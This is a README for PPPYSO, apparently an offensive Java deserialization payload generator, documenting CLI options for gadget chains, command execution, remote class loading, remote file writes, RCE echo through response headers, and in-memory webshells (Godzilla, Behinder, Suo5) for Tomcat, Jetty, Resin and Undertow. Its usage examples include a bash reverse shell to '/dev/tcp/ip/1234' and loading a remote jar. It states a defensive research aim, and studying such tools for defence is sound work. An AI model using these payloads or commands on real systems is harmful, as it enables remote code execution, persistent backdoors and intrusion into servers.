PPPYSO
proof-of-concept for generating Java deserialization payload | Proxy MemShell
Install / Use
/learn @Whoopsunix/PPPYSOREADME
PPPYSO
By. Whoopsunix
🌏 Begin
-
🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 JavaRce 实现,最终目的是实现 RASP 层面的拦截。
-
👏 欢迎 issue
框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta 标准。包含以下模块:
反序列化模块
参考 Marshalling Pickles 中提到的 gadget chain 概念,将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。
- [x]
InvokerTransformer功能增强 - [x]
TemplatesImplJavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除 - [x] rome、rometools 兼容
- [x] 修改 serialVersionUID 兼容多版本,eg. Cb 支持 [1.8.3 | 1.6 | 1.5]
- [x] 二次反序列化增强
- [x] JavaClass 信息消除:随机类名、移除源文件信息、移除源文件信息等可能暴露来源的信息。
- [x] JDK6 兼容输出
JavaClass 模块
基于子项目 JavaRce ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
- [x] Loader + Proxy 积极测试兼容中
- [x] 兼容 javax/jakarta 标准
- [x] 结果增强输出,eg. SPEL+FreeMarker
- [x] 高版本 JDK 下 SPEL 注入
- [x] 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
- [x] Unsafe 实现 JDK 17+ 字节码加载(name module 反射限制绕过)
Common 模板
实现序列化数据的加解密、序列化等功能
- [x] 序列化:原生、XStream、HexAscii
- [x] 序列化类型:UTF8Mix 2 3 字节转换
- [x] 支持组合结果输出:文件、Base64、GZIP,eg. gzip,base64
Exploit 模块
- [ ] 缓慢移植
交互
目前支持 CLI、Yaml 配置,通过
直接运行生成模板~~配置文件(写了就放着了不准备维护)~~,并展示支持的调用链

WIKI 里~~调用链的分析比较久远也可以看看~~,之后有时间会尽量补全 gadget chain 图

Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} 获取帮助信息

编译
项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar
# 安装依赖
mvn clean
# 打包
mvn clean package -Dmaven.test.skip
mvn clean package -DskipTests
0x01 URLDNS 增强
-g URLDNS
-host
-dp
-cn
-ds
URLDNS 支持组件利用链探测和类探测,还在完善中
组件探测
组件探测参考 Urldns 项目实现,改了一些类可以通过 -show 展示目前规则已写的类

-dp指定组件,all探测所有
eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"


类探测
-cn指定探测的全限定类名-ds指定对应的子域名
eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"


0x02 增强功能
通过 -e | -enchant 指定增强类型,所有指令忽略大小写
通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show 获取调用链支持的增强功能,指令均忽略大小写。

Command 命令执行
-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split
-cmd输入命令-cmdt命令执行类型-split参数会将命令拆分为String[3]数组,用这个参数相当于可以指定执行命令所需的终端
eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split

ScriptEngine
通过 -cmdt 参数指定命令执行类型为 ScriptEngine
eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine

-code支持自定义 js 语句
eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"

-cf对于InvokerTransformer增强的链支持从文件中获取复杂语句
eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt

Delay 延时
-e delay
-dt {/s}
-dt指定延时时间 /s
eg. -g commonscollections2 -e delay -dt 5

Socket 发起 socket 请求
-e socket
-host {ip:port}
-host指定需要发起 socket 请求的地址,用来测试是调用链被 ban 了还是限制了执行命令。
eg. -g commonscollections2 -e socket -host 127.0.0.1:1234

RemoteLoad 远程加载
-e RemoteLoad
-url
-cn
-ctor
-url指定远程地址-cn指定远程加载的类名
eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec

-ctor指定需要参数的构造方法,支持Int | String类型

FileWrite 文件写入
-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part
-sfp指定写入远程文件的地址-fc指定需要写入的内容-lfp从本地读取文件-append追加写入文件
eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456

-append 追加写入

-split 设置文件分片后生成, -part 指定每个分片的大小,默认 100kb。不过该功能不建议用在 TemplatesImpl 增强的链,用 Base64 编码只能分片很小。
eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000

0x03 JavaClass 增强
继承 AbstractTranslet
-ext参数指定TemplatesImpl增强的类继承 AbstractTranslet

自定义加载
-e JavaClass
-jht Custom
-jfp {filePath}
-jht Custom -jfp可以选择加载自定义的 JavaClass,.class 文件或者形如yv66vg开头的 base64 加密
eg. -g Fastjson -e JavaClass -jht Custom -jfp testms
Rce 回显
通过线程遍历 request 对象实现回显目前测试如下
| | Version | Auto Version (正在针对实际环境优化中..) | |--------|------------------|------------------------------| | Tomcat | 6-9 | 5-11 | | Spring | | | | Resin | [4.0.52, 4.0.66] | | | Jetty | | |
-e JavaClass -jht RceEcho指定为 Rce 回显-mw参数指定中间件-jt指定回显的实现方式,可通过AutoFind使用线程遍历寻找 request(实测优化中..)
可选参数默认都是随机生成的,也可以指定
-fheader指定接收命令的 header key-frheader指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头
-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]
-fheader
-frheader
eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64

内存马
内存马这部分的内容还没经过实际环境测试,采用 Loader + Proxy 的方式编写
-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]
-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv
-e JavaClass -jht MemShell指定为内存马-mw指定中间件-ms指定内存马类型-msf指定内存马功能-jt指定内存马上下文的获取方式,目前计划实现自动线程遍历寻找 request,可通过AutoFind触发-mt指定内存马实现方式,目前只适配了 Spring Interceptor Godzilla Raw
可选参数默认都是随机生成的,也可以指定
-fname指定内存马名称-fheader指定接收命令的 header key-frheader指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头-fpath指定路径-fkey指定内存马密钥-fpass指定内存马密码-flk、-flv指定触发内存马需要的 K-V 值,Contains 关系,比如 User-Agent 中需要存在Whoopsunix。
| | remarks | Exec | Godzilla | Behinder | Suo5(todo jakarta) | Version Test | Auto Version Test | | ------------------ | ---------------------------------- | ---- | -------- | -------- | ------------------ | ----------------------------------- | ----------------- | | Tomcat Servlet | | ✔ | ✔ | ✔ | ✔ | 7-11 | | | Tomcat Filter | | ✔ | ✔ | ✔ | ✔ | 7-11 | | | Tomcat Listener | | ✔ | ✔ | ✔ | ✔ | 6.0.35, [7.0.59, 7.0.109], 8, 9, 10 | 5-11 | | Tomcat Executor | 通过 Header 交互, Thread Auto Find | ✔ | | | | 8, 9 | | | Tomcat Valve | 动态代理没有经过实战测试 | ✔ | ✔ | ✔ | | 8 | | | Resin Servlet | | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | | | Resin Filter | | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | | | Resin Listener | | ✔ | ✔ | ✔ | ✔ | [4.0.52, 4.0.66] | | | Jetty Listener | | ✔ | ✔ | ✔ | ✔ | 9, 10 | 7-11 | | Undertow Servlet | | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | | | Undertow Listener | | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | | | Undertow Filter | | ✔ | ✔ | ✔ | ✔ | 2.2.25.Final | | | Spring Controller | | ✔ | | | |
Related Skills
node-connect
341.2kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
84.5kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
341.2kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
84.5kCommit, push, and open a PR
